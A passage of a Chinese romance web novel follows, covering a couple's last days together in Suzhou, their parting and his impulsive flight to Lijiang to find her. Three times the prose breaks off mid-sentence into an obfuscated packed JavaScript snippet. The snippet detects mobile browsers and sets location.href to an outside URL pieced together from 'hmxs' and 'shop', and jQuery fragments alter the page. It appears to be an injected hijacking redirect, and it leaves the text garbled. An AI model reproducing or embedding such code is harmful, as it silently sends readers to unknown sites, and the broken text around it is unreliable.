店里坐满了年轻人,看样子应该都是附近大学的学生。 两人都点了招牌的咖喱猪排饭,等餐期间贺明朝收到一条微信,时不时瞄一眼林夕妍。 “一直看我干嘛,有话就说。” “待会儿吃完了,还回去吗?”贺明朝知道刚才逗她的时候把人惹急眼了,这会儿问起话来都小心翼翼的。 “你不会又准备问要不要去什么地方了吧?”林夕妍一脸狐疑。 贺明朝欲言又止,“要不要去看电影?” “最近没什么好看的电影吧?”她对那些院线片都不感兴趣,已经很久没进过电影院了,“就算真有想看的,我回家也能看。” “那太可惜了,”贺明朝叹了口气,“我同事临时有事,刚才给了我两张电影资料馆的票,是《傲慢与偏见》的4K修复版。既然你不去,我只好让他送给别人了。” “等等!”林夕妍听到是《傲慢与偏见》,转眼换上和蔼的笑,“哎,你同事真是太不凑巧了,不过既然是他的好意,又岂能辜负,替我谢谢你同事。” 同事的确是临时有事,给贺明朝发消息的时候欲哭无泪,感慨自己好不容易抢到的票最后便宜了别人。 “当然。”贺明朝的确要好好谢谢他,“不过时间很紧,一点钟的电影,我们吃完就得过去了。” 林夕妍点头的同时,发觉自己又一次跟着贺明朝走了。 直到坐在电影院里,整个影厅座无虚席,灯光暗去,屏幕亮起。 林夕妍在黑暗中转头看了眼贺明朝,觉得跟他走,似乎也没什么不好。 12. Day 4 电影结束,林夕妍去文创店买了些《傲慢与偏见》的周边,让贺明朝连同电影开场前收到的物料一起带给同事。 离开前她看着江南分馆的每月排片感慨,“生活在苏州真好啊,有这么多好电影能看。” “是啊,如果以后能在这定居也不错。”贺明朝不过在这里工作了一段时间,就已经冒出了这样的想法。 “你还会有想要定居的城市?”林夕妍觉得他不过是随口一说,“还以为你这种人只会到处跑呢。” “这里园林多,一年四季开不同的花,就算是同一个地点也能拍出不同的样子。而且苏州离上海近,参加摄影展很方便。” 林夕妍忍俊不禁,“其实最后那句才是你心里话吧。” 从电影资料馆出来,贺明朝觉得自己应该送林夕妍回酒店,明明说好今天要陪她在咖啡馆待着哪也不去,结果最后又食言了。 没想到她却问:“你待会儿有空吗?” “当然,想去哪?” “我还没坐过游船,去山塘街吧,顺便买点特产寄回去。” “你不是发朋友圈吐槽山塘街不好玩吗?” “当时主要是吃的东西踩雷了,玩也没好好玩,不过确实很商业化,但坐船的话应该还不错吧?” “不清楚,我也没坐过,去了就知道了。”他打开导航,“不过你确定要在那边买特产?” 林夕妍无所谓摆摆手,“送亲戚的,意思意思就行了,天天催我相亲介绍的都什么货色,还能给他们带东西就不错了,谁管好不好吃。” 听到相亲,贺明朝立刻附和点头,“也是,心意到了就行。” 到山塘街的时候还早,夜晚游船更有意思,贺明朝便先陪林夕妍去买东西。 两人从一头逛到另一头,林夕妍买了很多小吃,自己手里拎了好几个袋子,贺明朝手里更是满当当的。 “委屈你把这些当晚饭了,反正我是不会再在这里任何一家餐厅吃饭了。” “没事,坐完游船如果饿了可以去吃夜宵。” 游船线路很多,船型有大有小,有的船上还能听评弹。 没多纠结,两人一致选择了二十人的电动小船游山塘河线,全程四十分钟没有停靠。 水面起起伏伏,船身跟着摇摇晃晃。或许是因为在水上,夜风吹来带着潮气与凉意。 林夕妍坐在边上,将半掩的窗户全部推开,仿佛伸手就能够到水面。 夜晚的山塘街亮起灯,顶上挂满灯笼与灯带,沿河两岸人声鼎沸,有餐厅飘来的香气,有茶馆传来的评弹声。 “看来之前是我来的时机不对,晚上还是挺好看的。”林夕妍说着拿出手机,只是手机拍出来的效果远不及肉眼看到的鲜艳。 贺明朝也打开手机相机,他没有拍窗外的景色,而是举着手机偷偷往边上移了些,又将镜头缩小,能够把林夕妍拍进去。 按下录制键,贺明朝没出声,他的目光紧紧追随着林夕妍,镜头也如此,举着手机的手比三脚架还稳定。 “你有晚上来过山塘街吗?”林夕妍还在拍照。 船已经驶出了景区,视野变得开阔,没有了灯光,画面瞬间变暗。 见贺明朝迟迟没回答,她熄灭屏幕回头,一转头就对上他的镜头。 画面本就因为灯光暗淡而看不清楚,她一动,镜头就跟糊了。 虽然手机拍不清楚,但贺明朝一双眼睛看得真切,林夕妍愣在原地,满脸错愕。 等她反应过来,就该让自己别拍了吧? 贺明朝正准备把手机移开,等着被林夕妍气急败坏地斥责,不料她竟把脸凑过来,盯着镜头笑眯眯控诉:“这里有个人偷拍我。” 这下轮到贺明朝意外了,还没回过神,手机就被林夕妍拿过去开了后置镜头,她录了个自拍视频。 只是贺明朝离得有些远,林夕妍调整不好角度,把他往身边拉了拉,“你过来点。” 等她觉得视角满意了,才重新开始录制,又盯着镜头里的贺明朝问:“贺明朝,你刚才是不是在偷拍我?” “哪有,我也是光明正大拍的。”他想起白天在咖啡馆林夕妍的理直气壮,这会儿也不承认。 “没关系,我比你大方,不会和你计较肖像权这种事的。说来还得好好感谢你这几天一直陪我到处玩,最后一天了,晚上还被我拉着来夜游山塘街。” 这些年贺明朝拍过很多风景,也拍了不少人,却很少将镜头对准自己。 再被林夕妍这样直白地调侃,他有些不好意思,表情越发不自然,“你怎么突然说这些。” “实话呀,”林夕妍知道他不习惯这样对着镜头,因为不自然,连声音都变了,可她偏偏想逗他,“你躲什么?” “欣赏夜景呢,”贺明朝闪烁其辞,看天看地就是不看镜头,“难得夜游一次,不得好好看看。” “贺明朝,你为什么不喜欢自拍?现在想想,我们以前好像都没几张合照,亏你还是摄影师。” “摄影师只要负责把景和人拍好,所以同样我只拍你就行了。就像你画画会把我当成模特,自己却连一张肖像画都没有,你又是为什么呢?” 林夕妍还从来没想过这个问题,画别人是天经地义,画自己,多少有点自恋。 “可是画自己,你不觉得很奇怪吗?” “很多画家都有自画像,他们也没觉得奇怪。” “他们是他们,我是我,我对着自己根本下不了笔。” “那我也一样,可以拍别人却拍不了自己。但那又如何呢,我给你拍照,你给我画画,这不很好吗?” 视频还在拍摄,这番对话都被林夕妍录了下来。 “不过以后你不会给我拍照,我也没机会再给你画画了。”她觉得贺明朝说得不是没有道理,人都有自己的癖好,只是最后那句话仅适用以前。 林夕妍暂停录制,把手机还给贺明朝,转而打开自己的云文件。 “你猜得对,以前给你画的那些画都还在,”她选中所有文件,选择打包分享给贺明朝,“当时一气之下是想全删了的,感觉看到就来气。不过很快我就想通了,幸好没删呢,每张画都画了好久,全是我的心血,就算生你气也不能和自己过不去。” 贺明朝点开分享,将文件全部保存,他一张张翻过去,沉默不语。 如果说林夕妍是最熟悉这些画的人,那贺明朝便屈居第二。 每张画都能将他拉回从前,在画室里任由林夕妍摆弄的画面历历在目。 她画了多久,他就陪了多久。 有时候是在家里,午后阳光正好,林夕妍把坐在电脑前工作的贺明朝拉去阳台,美其名曰久坐伤身,其实只是换了个地方当雕塑。 “为什么突然都发给我?”他不仅保存了文件,还将每张画都下载到本地,又上传云端。 “看在你陪我玩了这么久,还给我拍了那么多照片,我想我也应该给你留点什么。但画画比拍照费时间,来不及画新的,只好把以前画的这些给你了。” 贺明朝想笑却笑不出来,他不喜欢现在的氛围和对话,总有种分别在即,林夕妍急着与他划清界限的感觉。 其实每天都如此,他给她拍照,她就请吃饭;他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661015|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她去莲花岛,她便请他喝酒。 今天不也一样,因为他请她看了电影,所以她才会突然说要来坐船的吧。 贺明朝很想问问她,就非得分得这么清楚吗? 只是话到嘴边,不过自嘲一笑,“我能再要一样东西吗?” “什么?” “你在西园寺画的那张画,能给我吗?” 林夕妍想了片刻,点点头,“可以是可以,但你得答应我一个条件。” “你说。” 窗外又热闹起来,船已经掉头回程,重新驶进景区河段,光线再度变得明亮,照在两人身上可以看清彼此的面容。 “陪我拍张合照。”她语气坚决,说着把自己的手机递过去,“你来。” 这话听起来更像告别了。 但贺明朝还是接过手机,从船舱内向外拍,昏黄灯光从身后柔和了两人的眉眼。 既然算得清楚,一物换一物,那这张合照就当他留给她的吧。 四十分钟的船行转瞬即逝,两人下了船,景区里的人竟比他们来时还要多。 “去不去吃夜宵?”他带着林夕妍逆着人流往停车场走。 吹了四十分钟潮湿的夜风,林夕妍终于觉得冷了,“想吃点热的。” “走吧。”贺明朝带她去了一家吃藏书羊肉的店。 在苏州这种店随处可见,看起来有些破旧,但都是开了很多年的老店。 两人各点了一份羊肉白菜粉丝,端上来时冒着热气,撒了葱花。 “现在吃这个感觉还有点早,不过看着很好吃。”林夕妍看到桌上放着辣酱,挖了一大勺放进去。 “姑娘这么能吃辣?”老板看到了根本来不及阻止。 “她云南的,很能吃……”贺明朝话没说完,就见林夕妍辣得直咳嗽。 “这辣酱是我自己熬的,很辣的,再能吃辣的人放这么多也受不了。”老板往他们桌上放了一包纸。 这种辣和林夕妍平常吃的不同,水只会越喝越辣。 贺明朝见状去冰箱拿了瓶冰镇豆奶,在桌角磕掉盖子,帮她倒进杯子里,“喝点冰的缓缓。” 又拿自己的那碗跟她换,“你吃我的好了,我还没动过。” “拉倒吧,微辣都能把你辣哭,”林夕妍把碗换回来,把表面的辣油撇掉,“这样就好了。” “其实我现在还好,中辣也不在话下。”贺明朝以前的确完全不吃辣,后来跟林夕妍在一起了才多少能吃点,后来在西藏待了一年多,吃辣水平又有所提升。 “算了,这和你说自己酒量提升一样,都是自我感觉良好。” 喝完羊肉汤,林夕妍浑身都热了,两人散着步走去拿车。 到了酒店,车依然停在路边。 林夕妍从包里拿出速写本,撕下在西园寺画的那张画,又在底下签了个名,“给你,我的手稿一般不外传,你可得好好收藏。” “回头我找个相框裱起来,”贺明朝珍而重之地接过,从后座拿了本相册夹进去,“你明天还是上海飞吗?” “嗯,中午的高铁,晚上浦东飞。” “那明天我就不送你了,路上注意安全。”贺明朝看着她,似乎有话想说,欲言又止还是没能说出口。 “知道了,那我走了,拜拜。” “林夕妍,”贺明朝等她关上车门转身要走的时候又叫住她,“再见。” 她没说什么,只是笑着挥了挥手,然后转身离开。 如果今天永远不会结束该多好,贺明朝望着她的背影想。 只是没能说出口的话也不必再说了。 13. Leave 离开苏州这天的天气格外温和,气温既不反常也没有妖风作怪,空气里满是桂花香。 林夕妍莫名有几分不舍,总觉得这趟苏州之旅尚未尽兴就要结束,明明还有很多地方没去。 网约车按时到达酒店门口,不给她多愁善感的机会,司机就已经把行李放进了后备箱,“小姑娘快上车嘞。” 她深吸口气,笑道:“谢谢师傅。” 这次在苏州住的酒店去哪都方便,二十分钟后林夕妍已经坐在了候车室,比预计时间早到了二十分钟。 来时一路顺利,离开的时候也没有波折,平心而论这趟旅程远超过她的预期。 只是如果没有遇到贺明朝,她现在坐在这里的心情又当如何? 正想着,贺明朝刚好发来消息。 贺明朝:「出发了吗?」 林夕妍:「在高铁站准备检票。」 贺明朝:「这么早,还以为你每次都是卡点。」 林夕妍:「少刻板印象,我心里有数。」 贺明朝:「别忘了吃饭,上飞机和到家了都跟我说一声。」 林夕妍:「哦。」 动车从苏州到上海只要半个小时,林夕妍才研究好去浦东机场的路线,就已经到站下车了。 网上都说要提前几个小时到浦东机场,林夕妍容易焦虑,担心自己因为人生地不熟而误机,所以提前几个小时就出发,没想到反而是航班延误了。 她坐在大厅边啃三明治边无语,发消息给要来接机的方珏。 林夕妍:「早知道会延误,我就不这么早出发了,说不定再去逛一个园林也来得及。」 方珏:「顺便还能和贺明朝多待一会儿,是吧?」 林夕妍:「你无不无聊……」 方珏:「你不在我快无聊死了,晚上去吃夜宵啊。」 林夕妍:「还不知道几点到呢,你要不别来接我了,我自己打车回家。」 方珏:「没事,你起飞前给我发消息,夜宵当然越晚吃越好。」 在机场最无聊的事无非等航班,林夕妍不喜欢逛免税店,索性坐着开始整理相册,这本该是她上了飞机后的消遣。 除了刚到苏州的时候发过一张晚霞和一个吐槽蟹黄面难吃的朋友圈,后来几天她都很安静。 但相册里实实在在多出来几百张照片和视频,有的是随手一拍,有的是精心挑选的拍摄角度。 几乎每一张,她都能回想出照片外没被拍到的场景,而这些场景里满是贺明朝的身影。 虽然原本的苏州之行没有明确的行程安排,可林夕妍现在翻着相册才后知后觉地意识到,其实这趟旅程从在西园寺遇见贺明朝的那一刻起就偏离了原有的轨迹。 两人不过偶然相遇,只因地点在寺庙,便联系上因果,想为一个故事添点缘分。 林夕妍冷静下来后无端想到一个词,encounter。 她英文一般,也不爱背单词,可这个词仅仅在阅读理解中出现了一次,她就记住了这个词在文中的意思。 贺明朝和她之间的关系更像这个单词,是意料之外的邂逅。 短暂相处又分开,既非孽缘也非正缘,虽有不舍却不纠缠。 倘若西园寺真有那么灵验,那她希望自己所求的事业最先成真。 林夕妍边胡思乱想边点开照片一张张划过去,尽管贺明朝没有出现在画面里,但他又像是无处不在。 还有昨晚最后拍的那张合照,林夕妍也说不清自己怎么会提出这样的要求。 翻阅的手指停在那张合照上,当时船身摇晃,即便身后有光,拍得也并不清晰。 照片里林夕妍是一贯的微笑,贺明朝盯着镜头,看起来有点无所适从。 但他还是笑着把头靠向林夕妍,努力让自己的表情不那么僵硬。 整理完所有照片,林夕妍唯独把这张放进了隐藏相册。 这是珍贵却无法坦然面对的一张合照,她能想象以后在无意间看到这张照片时的心情。 为了避免让自己心乱,只好隐藏起来,等到某天能心如止水时再打开。 剩下的图够发几条朋友圈了,但她最想发的,是贺明朝在平江路帮她拍的那组写真。 也正是因为照片太多,挑来挑去反而选不出最满意的九张,好不容易凑满八张图,剩下的素材总觉得不搭。 听到机场广播提到自己所乘的航班,林夕妍一抬头才发觉已是傍晚时分,天暗下来,晚霞即将消失。 回看照片就像是重新经历了这几天,漫长的等待时间也可以过得很快。 她没来由得走到窗边,拍下最后一抹橘光。 抵达苏州的那天在高铁站看见了晚霞,如今用离开前拍下的落日作为九宫格的最后一张照片,也算有始有终。 发完朋友圈,像是为这趟旅行画上句号,延误的航班也终于开放登机。 她排着队正准备和贺明朝说一声,没想到徐佳明会突然打来电话,“听阿姨说你今天回来,几点到?我下了班来接你吧。” 可惜隔着电话,林夕妍翻的白眼对方看不见。 像徐佳明这么会拿捏时间的她还真没见过几个,不仅能在出发前卡着点说不去了,还能在她上飞机准备回去的时候问要不要接机。 不过林夕妍没什么好怪他的,就是想不明白,明明彼此都对对方无意,他为什么还要时不时表现一下。 莫名其妙归莫名其妙,电话里她的语气听不出情绪,“我朋友会来接的,就不麻烦你了。” “那好吧,回来了我请你和叔叔阿姨吃饭。” “别,反正我们也不会再见面,就不要请来请去了,还人情假客气挺麻烦的。我要登机了,先挂了。” 她认为自己把话说得够清楚了,以后不要见面也别打电话,做回陌生人,桥归桥路归路。 哪知徐佳明装听不懂,“不麻烦,等你回来再说,我先不打扰了。” 说完他挂断电话,林夕妍仿佛一拳打在棉花上,和这个固执己见的人说不通。 起飞前她给贺明朝发微信:「准备起飞了。」 贺明朝:「一路平安。」 有些人简简单单四个字看着也舒心,有些人光是看到名字就反感。 林夕妍耐心耗尽,既然不能体面地解决,那只好回去后当面和徐佳明说清楚,谁也别浪费谁的时间。 / “今天来这么早?”黎迦南在给模特做造型,看到镜子里多了一个人,竟然是消失好几天的贺明朝,“不对啊,你的拍摄不是结束了吗?” “新写了个脚本,来找老陈聊聊。” 黎迦南意味深长一声哦,“你朋友走了?情场失意,来职场找存在感了是吧?” 模特听了投来八卦的眼神,“我说这几天怎么没见到贺老师,原来是有私事啊。” 贺明朝比了个“嘘”的手势,“认真工作,少打听少造谣。” 从包里把林夕妍买的《傲慢与偏见》的周边文创给黎迦南,“我朋友说谢谢你,送你的。” “这朋友可以,够意思。”黎迦南把东西仔细收好,冲他挤眉弄眼,“有机会一起吃饭吗?” “在组里你哪天不跟我一起吃饭,还嫌不够?” “少打岔,谁说你了,你又没送我东西。” “想请她吃饭的人多着呢,你得排队,”贺明朝没工夫跟他胡扯,“好好做你的造型,我去找老陈了。” 让贺明朝去西藏拍婚纱的朋友叫陈飞,老陈是他的哥哥,临时在苏州有个短片拍摄的计划,想找有纪录片拍摄经验的摄影师,陈飞想也没想就推荐了贺明朝。 一开始贺明朝还不愿意,推脱道:“你叫我来西藏我来了,好不容易安顿下来,又让我去苏州,太折腾了,还是换个人吧。” 陈飞原本觉得贺明朝各方面条件都很符合老陈的要求,但见他拒绝,便转达给老陈。 谁料老陈看了贺明朝的作品,非他不可,“会求人吗?你帮我求求他,我先求求你了。” 陈飞被哥哥烦得没脾气,拉着贺明朝好说歹说,他才勉强答应。 得知贺明朝在苏州遇到了林夕妍,陈飞觉得自己硬气了,打电话给贺明朝的时候声音都提高了几分,颇有邀功意味,“要不是我,你能去苏州?躲在西藏怕是一辈子都见不着林夕妍。你也别急着回来了,留在我哥那多干几个月,他之后还要去别的城市,说不定你又在哪和林夕妍偶遇了呢。” 电话开着免提,老陈在一旁看脚本,随口插了句:“最该谢的难道不该是我吗?” “扯哪去了,我们也就恰巧遇到一起玩了几天,她今天就走了。” “去哪了?”老陈随口一问。 “回家,她家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661016|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在丽江。” “丽江啊,这不巧了么,”陈飞在电话那头笑,问老陈,“哥,你没告诉他下一次拍摄在云南吗?” 老陈瞥了眼贺明朝,语气漫不经心,“有什么好告诉的,拍摄快结束的时候我让他继续跟我下一个项目,他拒绝了,说要回西藏。” “早说是云南不就好了,”贺明朝只恨自己当时没多问一句,“我脚本都写好了,你重新邀请我一次。” 他虽然拒绝了,但脑子里是有想法的。没答应跟组拍摄还能把脚本给老陈看,也算半点诚意。 “行,多亏我还没重新找人,咱们再合作一次。”老陈对他很满意。 “那咱们什么时候出发?” 老陈很想开视频让陈飞看看贺明朝这不值钱的样子,“哪有那么快,你是任务完成了,我们后期还有活呢,云南的事怎么也得三个月以后,到时候人员也要重组。” “他们负责收尾,你又不用跟着等,”隔着电话,陈飞都能想象贺明朝有多迫不及待,“林夕妍今天回家,你买张机票马上飞过去找她不就行了?之前你不敢就算了,这几天还不够你们重新熟悉的吗?” “直接去找她也太冒昧了吧。”贺明朝担心此举不妥。 “哪里冒昧了?你得主动出击,入室抢劫懂吗?”陈飞没想到有朝一日自己会教贺明朝做事。 老陈不屑地嗤了一声,“弟,你自己的感情问题还有待解决,怎么好意思给别人当情感导师。一个敢教,一个敢听。” “谁不是当局者迷旁观者清,我搞不定自己的问题,还看不明白贺明朝的吗?” 这话让贺明朝想到那晚代驾司机和他说的——“外人看得再明白,可若你不明说就始终隔着层窗户纸,表现得再明显,人姑娘也不会领情。” 贺明朝沉思半晌,在两人以为他有何见解时来了句:“我觉得陈飞说得对。我要去找她。” 老陈拍了拍他的肩,无话可说,“祝你好运。” 贺明朝做事有条理有计划,很少想一出是一出,可真需要说走就走,也不会犹豫,还能把一切都安排得井井有条。 比如现在,他决定去找林夕妍,立刻就回住处收拾东西。 他的车是剧组在苏州租的,很多器材设备带不走,就全部打包了放好。 与贺明朝一起住的是同组的跟焦员,拍摄结束后他无事可干,天天宅在民宿。 “你要走啊?”他看到贺明朝一回来就直奔房间收拾行李。 “嗯,我自己的镜头都带走了,剩下这些设备后续还要用,到时候麻烦你帮我寄一下。” 跟焦员一局游戏没打完,贺明朝已经收拾完毕,言简意赅说了句再见,便拖着行李走了。 / 晚上九点半,林夕妍落地三义机场。 方珏提前半小时停好车在国内到达门口等,一看见林夕妍出来就冲她招手,“快快,为了等你去吃鱼火锅,我晚饭都没吃,光喝水了。” “太好了,我正想吃钳鱼。”林夕妍回来坐的依旧是廉航,飞机餐比来时还要难以下咽。 一路上方珏都在问苏州哪里好玩,什么好吃,嚷嚷着她有空了也要去。 “你别光说,得行动起来。” “我是想行动,可没空啊,”方珏总是在要不要辞职之间反复横跳,一边觉得人生不会轻易完蛋,一边又觉得不工作会焦虑,“你放心,去我肯定是会去的,就是西园寺求姻缘果真那么灵?” 林夕妍就猜她醉翁之意不在酒,说了那么多无关紧要的,今晚的话题一定会绕到这件事上来。 “这不好说,你得亲自去试了才有发言权,我暂时不觉得,”林夕妍也不回避,“正好我还有个写真套餐,你以后去玩顺便拍了吧。” “话别说那么早,万一有一个愿望实现了,你去还愿的时候还能再拍一次,”方珏点开她发的朋友圈,一张张欣赏,“不过肯定没有贺明朝拍得让你满意,对吧?” “吃鱼都堵不上你的嘴。”林夕妍往她碗里夹了一大块,“多补补脑子,抚慰你被工作摧残的身心。” “行,我不说了,吃饭。”方珏每次都是调侃两句就点到为止。 林夕妍给贺明朝说了声自己已经到了,便也放下手机。 只是这条消息发出后,向来秒回的贺明朝没了动静,林夕妍等到睡觉前都没能等来回复。 14. Home 1 从收拾完东西到离开,再连夜赶往上海,贺明朝一刻也没停歇。 他订了晚上八点半的航班,一路上的心情难以形容,在以往二十来年的人生里,他做事讲究深思熟虑,很少有如此冲动的时刻。 明知自己早已不是凭借一腔热血就能随心所欲的愣头青了,可他仍然听了陈飞的话,毅然决然地前往。 只是途中奔波,多次换乘,遇到晚高峰拥挤,全然无心想其他,也无法思考此举的原因,满脑子只有一个念头,去见她。 路上还接了一个老陈打来的电话,“你们组虽然拍摄结束了,但是不是说好空了来B组帮忙吗?” 老陈以为贺明朝只是被陈飞激得脑子一热,去找前女友也只是说说而已,没想到他这般雷厉风行,当真拍拍屁股走人了。 “B组也快拍完了,能帮忙的人那么多,也不缺我一个,我先去云南给你们探探路。上飞机不说了,你早点回去休息。” “行吧,祝好运。”老陈无可奈何挂了电话,显然是自己对贺明朝还不够了解。 工作上看着那么有条理有计划的一个人,竟也会有不管不顾的时候。 别说老陈不理解,连贺明朝本人在飞机上坐定后,才觉得自己的行为过于荒唐。 此刻的心情与在平江路遇到她时类似,却又不尽相同。 那天提出成为林夕妍临时摄影师前,贺明朝做了被毫不留情拒绝的准备后孤注一掷。 而这一次,他心里仍然忐忑,却比之前多了几分底气,或许是因为林夕妍此前没有表现出抗拒。 看吧,人只会贪得无厌,永远不知满足。 明明当时对自己说了就这一次,却仗着她的一份心软而得寸进尺,想要更进一步。 起飞前,他点开和林夕妍的聊天记录,两人的对话还停留在几小时前她航班起飞的时候。 现在她应该还在飞机上,而等她落地的时候自己也在前往丽江的航线上了。 机上语音开始播报,贺明朝点开文本框输入又删除,索性从后台删掉所有软件,打开飞行模式,最后什么都没发出去。 飞机开始滑行上升,这么多年他的航迹遍布世界各地,飞行如同家常便饭,此时此刻却第一次体会到了清晰的失重感。 这种前所未有的感觉很奇怪,身体被固定在座位上,五脏六腑却轻飘飘的。 耳膜有轻微胀痛,嗡鸣声不断,除此之外他还听到了自己毫无规律的心跳声,如同他今天所做的决定一般脱离秩序,偏离了既定轨道。 昨晚分别前的场景在脑海中不断回想,恍惚间他产生了一种错觉,会不会林夕妍其实也有点不舍? 当时自己只顾得上纠结该不该说出挽留的话,却忽略了林夕妍的反应。 他在脑海中不断复现昨晚分别时的细节,企图在回忆中找到她也有不舍的证据。 如果她真把自己当作形同陌路的故人,便不会在第二次偶遇时应下自己的提议,更不会有后面这几天的相处。 飞行趋于平稳,令人不适的失重感逐渐消失,贺明朝也短暂地说服了自我,这不是他的一厢情愿。 晚上九点半,周围的阅读灯都熄灭了,贺明朝接过空姐拿来的毛毯,在关灯前看了眼舷窗。 窗外一片漆黑,玻璃上反射出他平静的一张脸,起初的犹疑遍寻不着,只有事已至此的坦然。 关掉阅读灯准备休息,闭上眼,黑暗中浮现的还是林夕妍。 想到她以前其实没什么耐心,陪他拍摄到一半常常嫌无聊,但为了不影响大家,只会独自到一旁百无聊赖地画画。 又或者她作为模特,陪贺明朝练习人像拍摄,总是拍了没几组就喊累,催促他早点结束。 可这次在平江路,天那么热,她还和原本的摄影师闹了不愉快,却能配合贺明朝一次性拍完,甚至没有一句抱怨。 他后知后觉地意识到,两人分开的时间足够对方从一个人变成另外一个人,这种变化也许不会在当下立刻被察觉,而是在某天无意间想起时突然惊觉。 四小时的飞行相比国际航班不算漫长,贺明朝思绪万千,在回忆里来回穿梭。 将近凌晨一点,飞机开始下降,原以为的失重与耳鸣没有到来。 浮躁了一路的心在看到地面微黯的城市亮光时彻底静了下来,这是贺明朝第二次抵达这里。 上一次有关这里的记忆是和林夕妍分手,而今故地重游仿佛恍如隔世,但他心里清楚这次不会再重蹈覆辙,相反,他觉得自己离林夕妍更近了一步。 走出廊桥,贺明朝才关闭飞行模式。 微信置顶有林夕妍发来的未读消息:「我已经下飞机,和朋友来吃夜宵了。」 那时候是十点半,她刚落地不久,他还在飞机上。 这个点林夕妍未必会睡,但贺明朝没有回复,而是直接拿了行李,打车去就近的酒店。 他有了别的打算,不想风尘仆仆地贸然出现在林夕妍面前,而是应该先租个房子稳定下来,等熟悉了周围环境再有备而来。 / 林夕妍到家第二天,把收到的快递拆了,让父母去安排怎么送亲戚。 给朋友买的文创则直接填了他们各自的住址,不用再操心改天得亲自送过去。 剩下的时间就都待在画室里打扫卫生,她里里外外清扫一遍,又重新布局了一遍。 期间时不时看一眼手机,担心会错过消息。 再收到贺明朝回复已经是傍晚,林夕妍从画室走回家,准备和父母一起吃晚饭。 贺明朝:「先前一直在忙,刚停下来,给你看个东西。」 随后附上一张照片。 林夕妍偷偷看了眼对面父母的脸色,他们在聊天,并没在意自己,她这才放心点开照片。 一整面白墙上挂满了相框,双击放大,林夕妍发现相框里都是自己以前给贺明朝画的画,没想到他这么快就全部打印出来。 唯一一张手稿挂在正中,是她在西园寺画的那幅。 林夕妍努力克制唇角上扬的弧度,还不忘用余光留意着父母的眼神:「你真大方,就这么堂而皇之挂着给人欣赏?」 贺明朝:「我家没人来,挂客厅里没人看。就算别人付费我也不给他们看好吧。」 林夕妍:「没想到你是这种人,还想着收费,先给我付一下版税。」 在网上隔着屏幕聊天,林夕妍说话就没那么多顾忌。 发完又意识到不对,多问了一句:「你哪个家?你在苏州不是和同事住民宿么?」 像贺明朝这种满世界跑的人,每到一个地方就住一段时间,林夕妍很难定义他所谓的家究竟是指什么。 贺明朝避而不谈:「就家里啊。」 她还想多问几句,就被廖友娟打断,“妍妍,吃饭别玩手机了。” 林夕妍熄屏将手机反扣在桌上,盛了碗汤埋头喝着。 “小姑问你哪天有空,出去吃饭。”林海兴和廖友娟刚才一直在说相亲的事,见林夕妍迟迟不说话,还以为她是默认了。 “吃什么饭?又要给我介绍什么歪瓜裂枣男。” “刚说的时候你没在听吗,小姑同事的外甥,在银行工作,比你大了三岁。” “哦,”她确实没在听,也毫无兴趣,“你们是觉得我跟徐佳明没戏了,立马就换一个来?” 林海兴干笑一声,“难道你跟他还有可能?” “没有。”她放下勺子,盯着父母,“我这次旅游在寺庙拜了拜,不是正缘的给我介绍再多也没用,你们还是洗洗早点睡,梦里什么都有。” 廖友娟黑着脸瞪她,“难道贺明朝就是你正缘了?你自己说了只是偶遇,都回家分开了就别想那些有的没有,喜欢归喜欢,也没见你多主动。还是放弃幻想,也早点洗洗睡吧。” 回家的第一顿晚饭,就这样不算愉快地结束了。 林海兴还在为妹妹介绍的新嘉宾争取见面机会,“妍妍,吃个饭而已,你真没空?” “没空,明天没空,后天没空,天天都没空。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661017|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让爸爸也放弃幻想,“与其等我有空,你不如祈祷贺明朝出现。对了,明天我和方珏出去逛街,午饭晚饭都不在家吃。” 面对方珏和其他朋友,林夕妍可以天天有空。 方珏之前一直念叨着等发了工资就要去买心心念念了许久的项链,好不容易等林夕妍旅游回来,她连休息都顾不上,第二天中午开车到林夕妍家楼下带人直奔目的地。 “为什么非要等发工资了才买,又不是没有存款。”林夕妍一直有这个疑问。 “你不懂,这条项链就得用这笔钱拿下,换成存款我就不想买了。” 两人停好车,从扶梯上去,林夕妍在看中午吃什么,突然被方珏拽了一把袖子。 “诶,那个是不是徐佳明啊?” 顺着方珏的视线看去,在上一层扶梯的空隙里,林夕妍的确看到了一个熟悉的身影。 但她抬头得太慢,身影一闪而过,也不能确定。 “没记错的话他工作日都要上班,怎么会在这里,你看错了吧?” 方珏也没亲眼见过徐佳明,只看过照片,“可能只是长得像,管他呢。” 首饰店在一楼,她拉着林夕妍轻车熟路,到了店里看到熟悉的销售,冲她招了招手。 销售见来人是她,心领神会地点了点头,“除了样品,就剩一条全新的了。” “刷卡。”方珏二话没说,拿下付款。 